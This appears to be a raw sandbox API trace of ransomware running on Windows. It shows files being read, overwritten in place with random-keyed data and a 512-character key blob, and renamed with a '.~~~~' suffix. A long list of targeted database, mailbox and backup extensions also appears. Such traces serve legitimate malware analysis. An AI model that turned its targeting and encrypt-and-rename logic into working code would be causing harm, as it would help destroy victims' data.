	[0142.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.903] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26289268564) returned 1
	[0142.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbe940df0, dwHighDateTime=0x1d60e1e)) 
	[0142.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0142.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe4e8
	[0142.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe4e8 | out: hHeap=0x300000) returned 1
	[0142.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aa518
	[0142.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0142.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa518 | out: hHeap=0x300000) returned 1
	[0142.904] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0142.904] GetLastError () returned 0x0
	[0142.904] GetLastError () returned 0x0
	[0142.904] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0142.904] GetLastError () returned 0x0
	[0142.904] GetLastError () returned 0x0
	[0142.905] ReadFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0xdc9a, lpOverlapped=0x0) returned 1
	[0142.907] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff2366, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.907] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xdc9a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0xdc9a, lpOverlapped=0x0) returned 1
	[0142.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0142.908] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.908] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.908] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.908] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.908] CloseHandle (hObject=0xc4) returned 1
	[0142.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aa518
	[0142.908] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir39f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir39f.gif.~~~~")) returned 1
	[0142.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa518 | out: hHeap=0x300000) returned 1
	[0142.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0142.911] GetLastError () returned 0x0
	[0142.911] RtlWakeConditionVariable () returned 0x0
	[0142.911] GetCurrentThreadId () returned 0x3a4
	[0142.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".scr") returned 0x0
	[0142.911] lstrlenW (lpString=".cmd") returned 4
	[0142.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".cmd") returned 0x0
	[0142.911] lstrlenW (lpString=".dll") returned 4
	[0142.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".dll") returned 0x0
	[0142.911] lstrlenW (lpString=".bat") returned 4
	[0142.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".bat") returned 0x0
	[0142.911] lstrlenW (lpString=".cpl") returned 4
	[0142.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".cpl") returned 0x0
	[0142.911] lstrlenW (lpString=".sys") returned 4
	[0142.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".sys") returned 0x0
	[0142.911] lstrlenW (lpString=".msc") returned 4
	[0142.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".msc") returned 0x0
	[0142.912] lstrlenW (lpString=".com") returned 4
	[0142.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".com") returned 0x0
	[0142.912] lstrlenW (lpString=".lnk") returned 4
	[0142.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".lnk") returned 0x0
	[0142.912] lstrlenW (lpString=".msp") returned 4
	[0142.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".msp") returned 0x0
	[0142.912] lstrlenW (lpString=".pif") returned 4
	[0142.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".pif") returned 0x0
	[0142.912] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0142.914] lstrlenW (lpString=".sqb") returned 4
	[0142.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".sqb") returned 0x0
	[0142.915] lstrlenW (lpString=".ost") returned 4
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".ost") returned 0x0
	[0142.915] lstrlenW (lpString=".txt") returned 4
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".txt") returned 0x0
	[0142.915] lstrlenW (lpString=".mdt") returned 4
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".mdt") returned 0x0
	[0142.915] lstrlenW (lpString=".BDB") returned 4
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".BDB") returned 0x0
	[0142.915] lstrlenW (lpString=".eql") returned 4
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".eql") returned 0x0
	[0142.915] lstrlenW (lpString=".DBF") returned 4
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".DBF") returned 0x0
	[0142.915] lstrlenW (lpString=".EQL") returned 4
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".EQL") returned 0x0
	[0142.915] lstrlenW (lpString=".FDB") returned 4
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".FDB") returned 0x0
	[0142.915] lstrlenW (lpString=".EDB") returned 4
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".EDB") returned 0x0
	[0142.915] lstrlenW (lpString=".DACPAC") returned 7
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.915] lstrlenW (lpString=".VHD") returned 4
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".VHD") returned 0x0
	[0142.915] lstrlenW (lpString=".DBV") returned 4
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".DBV") returned 0x0
	[0142.915] lstrlenW (lpString=".dacpac") returned 7
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".dacpac") returned 0x0
	[0142.915] lstrlenW (lpString=".sdf") returned 4
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".sdf") returned 0x0
	[0142.915] lstrlenW (lpString=".accdb") returned 6
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".accdb") returned 0x0
	[0142.915] lstrlenW (lpString=".DBX") returned 4
	[0142.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".DBX") returned 0x0
	[0142.916] lstrlenW (lpString=".MDT") returned 4
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".MDT") returned 0x0
	[0142.916] lstrlenW (lpString=".SQB") returned 4
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".SQB") returned 0x0
	[0142.916] lstrlenW (lpString=".vhd") returned 4
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".vhd") returned 0x0
	[0142.916] lstrlenW (lpString=".bac") returned 4
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".bac") returned 0x0
	[0142.916] lstrlenW (lpString=".mdf") returned 4
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".mdf") returned 0x0
	[0142.916] lstrlenW (lpString=".BAK") returned 4
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".BAK") returned 0x0
	[0142.916] lstrlenW (lpString=".BAC") returned 4
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".BAC") returned 0x0
	[0142.916] lstrlenW (lpString=".dbs") returned 4
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".dbs") returned 0x0
	[0142.916] lstrlenW (lpString=".vhdx") returned 5
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".vhdx") returned 0x0
	[0142.916] lstrlenW (lpString=".NDF") returned 4
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".NDF") returned 0x0
	[0142.916] lstrlenW (lpString=".dat") returned 4
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".dat") returned 0x0
	[0142.916] lstrlenW (lpString=".DBS") returned 4
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".DBS") returned 0x0
	[0142.916] lstrlenW (lpString=".CKP") returned 4
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".CKP") returned 0x0
	[0142.916] lstrlenW (lpString=".edb") returned 4
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".edb") returned 0x0
	[0142.916] lstrlenW (lpString=".PST") returned 4
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".PST") returned 0x0
	[0142.916] lstrlenW (lpString=".dbf") returned 4
	[0142.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".dbf") returned 0x0
	[0142.916] lstrlenW (lpString=".SQL") returned 4
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".SQL") returned 0x0
	[0142.917] lstrlenW (lpString=".pst") returned 4
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".pst") returned 0x0
	[0142.917] lstrlenW (lpString=".dbv") returned 4
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".dbv") returned 0x0
	[0142.917] lstrlenW (lpString=".SDF") returned 4
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".SDF") returned 0x0
	[0142.917] lstrlenW (lpString=".dtxs") returned 5
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".dtxs") returned 0x0
	[0142.917] lstrlenW (lpString=".db3") returned 4
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".db3") returned 0x0
	[0142.917] lstrlenW (lpString=".OST") returned 4
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".OST") returned 0x0
	[0142.917] lstrlenW (lpString=".dbx") returned 4
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".dbx") returned 0x0
	[0142.917] lstrlenW (lpString=".DB3") returned 4
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".DB3") returned 0x0
	[0142.917] lstrlenW (lpString=".DAT") returned 4
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".DAT") returned 0x0
	[0142.917] lstrlenW (lpString=".VHDX") returned 5
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".VHDX") returned 0x0
	[0142.917] lstrlenW (lpString=".ndf") returned 4
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".ndf") returned 0x0
	[0142.917] lstrlenW (lpString=".DB") returned 3
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".DB") returned 0x0
	[0142.917] lstrlenW (lpString=".sql") returned 4
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".sql") returned 0x0
	[0142.917] lstrlenW (lpString=".MYD") returned 4
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".MYD") returned 0x0
	[0142.917] lstrlenW (lpString=".DBT") returned 4
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".DBT") returned 0x0
	[0142.917] lstrlenW (lpString=".ACCDB") returned 6
	[0142.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.917] lstrlenW (lpString=".fdb") returned 4
	[0142.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".fdb") returned 0x0
	[0142.918] lstrlenW (lpString=".bak") returned 4
	[0142.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".bak") returned 0x0
	[0142.918] lstrlenW (lpString=".myd") returned 4
	[0142.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".myd") returned 0x0
	[0142.918] lstrlenW (lpString=".DTXS") returned 5
	[0142.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".DTXS") returned 0x0
	[0142.918] lstrlenW (lpString=".ckp") returned 4
	[0142.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".ckp") returned 0x0
	[0142.918] lstrlenW (lpString=".dbt") returned 4
	[0142.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".dbt") returned 0x0
	[0142.918] lstrlenW (lpString=".db") returned 3
	[0142.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".db") returned 0x0
	[0142.918] lstrlenW (lpString=".TXT") returned 4
	[0142.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".TXT") returned 0x0
	[0142.918] lstrlenW (lpString=".MDF") returned 4
	[0142.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".MDF") returned 0x0
	[0142.918] lstrlenW (lpString=".bdb") returned 4
	[0142.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".bdb") returned 0x0
	[0142.918] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.918] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0142.919] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.919] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0142.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.920] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26290966477) returned 1
	[0142.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbe966f50, dwHighDateTime=0x1d60e1e)) 
	[0142.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0142.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe520
	[0142.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe520 | out: hHeap=0x300000) returned 1
	[0142.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aa9b0
	[0142.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0142.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa9b0 | out: hHeap=0x300000) returned 1
	[0142.921] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0142.921] GetLastError () returned 0x0
	[0142.921] GetLastError () returned 0x0
	[0142.921] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0142.921] GetLastError () returned 0x0
	[0142.921] GetLastError () returned 0x0
	[0142.921] ReadFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x3a1e, lpOverlapped=0x0) returned 1
	[0142.988] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffc5e2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.988] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x3a1e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x3a1e, lpOverlapped=0x0) returned 1
	[0142.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0142.989] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.989] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.989] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
